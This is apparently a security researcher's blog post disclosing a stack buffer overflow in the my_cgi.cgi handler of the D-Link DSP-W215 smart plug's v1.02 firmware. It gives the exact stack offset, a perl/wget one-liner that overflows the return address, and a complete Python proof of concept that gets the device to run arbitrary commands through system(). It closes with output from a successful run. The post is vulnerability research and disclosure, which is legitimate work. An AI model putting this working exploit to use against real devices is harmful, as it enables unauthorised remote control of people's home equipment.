D-Link recently released firmware v1.02 for the DSP-W215 to address the HNAP buffer overflow bug in my_cgi.cgi. Although they were quick to remove the download link for the new firmware (you must “Use mobile application to upgrade device”), I grabbed a copy of it before my trip to Munich this week, and the 8 hour flight provided plenty of quality reversing time to analyze the new firmware more closely.
Unfortunately, the HNAP bug was just the beginning of the smart plug’s problems.
The lighttpd config file shows that the my_cgi.cgi binary is used to handle multiple page requests, not just HNAP:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", "/router_info.xml" => "/www/my_cgi.cgi", "/post_login.xml" => "/www/my_cgi.cgi", "/get_shareport_info" => "/www/my_cgi.cgi", "/secmark1524.cgi" => "/www/my_cgi.cgi", "/common/info.cgi" => "/www/my_cgi.cgi" )
The my_cgi.cgi’s main function has two basic code branches; one for HNAP requests, and one for everything else:
If the HTTP request was not for HNAP (e.g., /common/info.cgi), and if the request was a POST request, then my_cgi.cgi next grabs several HTTP request headers, including Content-Length:
As long as the content length is greater than zero, the get_input_entries function is called, which is responsible for reading and parsing the POST parameters:
The get_input_entries function takes two arguments: a pointer to an entries data structure, and the size of the POST data (aka, the content length):
struct entries { char name[36]; // POST paramter name char value[1025]; // POST parameter value }; // Returns the number of POST parameters that were processed int get_input_entries(struct *entries post_entries, int content_length);
This is particularly suspect, as the only length parameter that is passed to get_input_entries is the content length that was specified in the HTTP request, and the structure pointer is a pointer to a local stack variable in the main function:
int content_length, num_entries; struct entries my_entries[450]; // total size: 477450 bytes content_length = strtol(getenv("CONTENT_LENGTH"), 10); memset(my_entries, 0, sizeof(my_entries)); num_entries = get_input_entries(&my_entries, content_length);
Sure enough, get_input_entries has an fgetc loop (nearly identical to the fgetc loop that caused the HNAP vulnerability), which parses out the POST names and values and blindly stores them in the entries data structure:
Since the entries data structure in this case is a stack variable in main, an excessively long POST value will cause get_input_entries to overflow main’s stack.
In order to prevent crashing prematurely before returning to main (more on this in another post…), we want to exit the get_input_entries function as quickly as possible. This is most easily done by specifying a single POST parameter named “storage_path”, as most of the remaining code in get_input_entries is skipped if this POST parameter is encountered:
Looking back at the stack layout for main, we can see that the start of the entries data structure is 0x74944 bytes away from the saved return address on the stack:
Since the POST name takes up the first 36 bytes of the data structure, a POST value of 477472 (0x74944-36) bytes will overflow everything on the stack up to the saved return address:
# Overwrite the saved return address with 0x41414141 perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi
With control of $ra, we can now return to the same system() call that was used in the HNAP overflow in order to execute arbitrary commands:
Here’s some PoC code:
#!/usr/bin/env python import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "storage_path=" # POST parameter name buf += "D" * (0x74944-36) # Stack filler buf += "x00x40x5CxEC" # Overwrite $ra buf += "E" * 0x28 # Command to execute must be at $sp+0x28 buf += command # Command to execute buf += "x00" # NULL terminate the command req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
Which works quite handily against the new firmware:
./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www